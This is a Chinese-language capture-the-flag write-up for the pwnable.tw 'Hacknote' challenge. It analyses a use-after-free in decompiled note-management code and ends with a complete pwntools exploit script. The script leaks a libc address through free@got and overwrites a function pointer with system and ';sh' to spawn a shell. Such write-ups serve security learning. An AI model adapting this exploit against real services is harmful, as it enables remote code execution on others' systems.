pwnable-tw-Hacknote

0x00 简介

一道uafdouble free题目,跟以前做的套路不太一样。

0x01 题目

1.1 add函数逻辑

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
for ( i = 0; i <= 4; ++i )
{
if ( !ptr[i] )
{
ptr[i] = malloc(8u);
if ( !ptr[i] )
{
puts("Alloca Error");
exit(-1);
}
*(_DWORD *)ptr[i] = sub_804862B;
printf("Note size :"); // size大小无限制
read(0, &buf, 8u);
size = atoi(&buf);
v0 = ptr[i];
v0[1] = malloc(size);
if ( !*((_DWORD *)ptr[i] + 1) )
{
puts("Alloca Error");
exit(-1);
}
printf("Content :");
read(0, *((void **)ptr[i] + 1), size);
puts("Success !");
++dword_804A04C;
return __readgsdword(0x14u) ^ v5;
  • 申请8个字节的空间,把地址放在ptr[i]中
  • 在前4个字节放入一个输出函数
  • 申请一个size大小的空间,把地址放在后4字节中
    可以把ptr看成这样一个结构体的指针数组
    后面Print直接就用了这个结构题里的函数指针进行输出的
    1
    2
    3
    4
    typedef struct ptr{
    void *func_puts;
    char *content;
    }*ptr;

1.2 Delete函数逻辑

1
2
3
4
5
6
7
8
9
10
11
12
13
14
printf("Index :");
read(0, &buf, 4u);
v1 = atoi(&buf);
if ( v1 < 0 || v1 >= dword_804A04C )
{
puts("Out of bound!");
_exit(0);
}
if ( ptr[v1] )
{
free(*((void **)ptr[v1] + 1));
free(ptr[v1]);
puts("Success");
}
  • 判断要删除的id是否在范围内
  • 然而删除后却并没有把已经删除的部分置为NULL

0x02 漏洞利用

本题的关键点是,当某一次申请的content大小也为8时,将有机会分配到之前释放过的note块。这样通过向content中写入内容相当于修改note块。由此达到目的。(反正跟我原来想的完全不同,看来以后做题还是多想题目给的本身的特点,总是用套路会束缚思维)

system函数地址泄露: print_note的打印功能可以帮助泄露地址。例如,先add note0,大小为128,再add note1,大小为128。delete note1,note0.此时再申请add note2,大小为8. 那么note2的note块就是note0块,note2的content块就是note1块(fastbin的原则是LIFO)。此时向content2中写入puts函数地址(保持不变,还是原来的)和free@got地址,这样在调用 print note2时,就会将free函数的实际地址泄露,再根据偏移泄露system函数地址。

system函数调用: 同理,这个操作与地址泄露相似,delete note2,add note3,也是要求content大小为8,这次将puts函数地址位置覆写成泄露的system函数地址和将要执行的指令。

然而改成system后,函数的参数还是自己,这样肯定不行。

1
2
if ( ptr[v1] )
(*(void (__cdecl **)(void *))ptr[v1])(ptr[v1]);

为了解决这个问题,这里涉及到Linux连续执行多条命令时的参数截断

即,如果将puts函数地址覆盖为system地址,system的参数是system函数地址本身,这样肯定不行。但是使用连续执行多条命令的’ ; ‘,第一条执行错误会被忽略,然后执行下一条,因此可以将content位置覆盖成 ‘;sh\0’.

0x03 EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
from pwn import *
context.log_level = 'debug'
def add(size,content):
sh.recvuntil("Your choice :")
sh.sendline("1")
sh.recvuntil("Note size :")
sh.sendline(str(size))
sh.recvuntil("Content :")
sh.send(content)

def prt(idx):
sh.recvuntil("Your choice :")
sh.sendline("3")
sh.recvuntil('Index :')
sh.sendline(str(idx))

def delete(idx):
sh.recvuntil("Your choice :")
sh.sendline("2")
sh.recvuntil('Index :')
sh.sendline(str(idx))

#sh = process('./hacknote')
sh = remote('chall.pwnable.tw', 10102)
#gdb.attach(sh)
libc = ELF('./libc_32.so.6')
add(128,'aaa')
add(128,'bbb')
delete(1)
delete(0)
payload = p32(0x804862b)+p32(0x804A018)
add(8,payload)
prt(1)
free_addr = u32(sh.recv(4))
log.success('free_addr: ' + hex(free_addr))
offset = libc.symbols['system'] - libc.symbols['free']
system_addr = free_addr + offset

delete(2)
content = p32(system_addr) + ';sh\0'
add(8,content)
prt(1)
log.success("system: " + hex(system_addr))
log.success("offset: " + hex(offset))
sh.interactive()
-------------本文结束感谢您的阅读-------------
+ +